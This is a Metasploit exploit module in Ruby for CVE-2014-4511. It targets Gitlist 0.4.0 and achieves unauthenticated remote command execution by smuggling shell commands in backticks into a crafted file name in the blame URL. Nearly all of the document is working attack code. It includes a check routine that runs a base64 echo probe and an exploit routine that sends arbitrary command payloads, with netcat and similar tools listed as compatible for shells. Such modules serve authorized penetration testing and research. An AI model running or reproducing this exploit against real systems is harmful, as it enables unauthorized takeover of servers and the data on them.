Gitlist Unauthenticated Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Gitlist Unauthenticated Remote Command Execution',
      'Description'    => %q{
          This module exploits an unauthenticated remote command execution vulnerability
        in version 0.4.0 of Gitlist. The problem exists in the handling of a specially
        crafted file name when trying to blame it.
      },
      'License'        => MSF_LICENSE,
      'Privileged'     => false,
      'Platform'       => 'unix',
      'Arch'           => ARCH_CMD,
      'Author'         =>
        [
          'drone', #discovery/poc by @dronesec
          'Brandon Perry <bperry.volatile[at]gmail.com>' #Metasploit module
        ],
      'References'     =>
        [
          ['CVE', '2014-4511'],
          ['EDB', '33929'],
          ['URL', 'http://hatriot.github.io/blog/2014/06/29/gitlist-rce/']
        ],
      'Payload'        =>
        {
          'Space'       => 8192, # max length of GET request really
          'BadChars'    => "&\x20",
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic telnet python perl gawk netcat netcat-e ruby php openssl',
            }
        },
      'Targets'        =>
        [
          ['Gitlist 0.4.0', { }]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2014-06-30'
    ))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/'])
      ])
  end

  def check
    repo = get_repo

    if repo.nil?
      return Exploit::CheckCode::Unknown
    end

    chk = Rex::Text.encode_base64(rand_text_alpha(rand(32)+5))

    res = send_command(repo, "echo${IFS}" + chk + "|base64${IFS}--decode")

    if res && res.body
      if res.body.include?(Rex::Text.decode_base64(chk))
        return Exploit::CheckCode::Vulnerable
      elsif res.body.to_s =~ /sh.*not found/
        return Exploit::CheckCode::Vulnerable
      end
    end

    Exploit::CheckCode::Safe
  end

  def exploit
    repo = get_repo
    if repo.nil?
      fail_with(Failure::Unknown, "#{peer} - Failed to retrieve the remote repository")
    end
    send_command(repo, payload.encoded)
  end

  def get_repo
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "/")
    })

    unless res
      return nil
    end

    first_repo = /href="\/gitlist\/(.*)\/"/.match(res.body)

    unless first_repo && first_repo.length >= 2
      return nil
    end

    repo_name = first_repo[1]

    repo_name
  end

  def send_command(repo, cmd)
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, repo, 'blame', 'master', '""`' + cmd + '`')
    }, 1)

    res
  end
end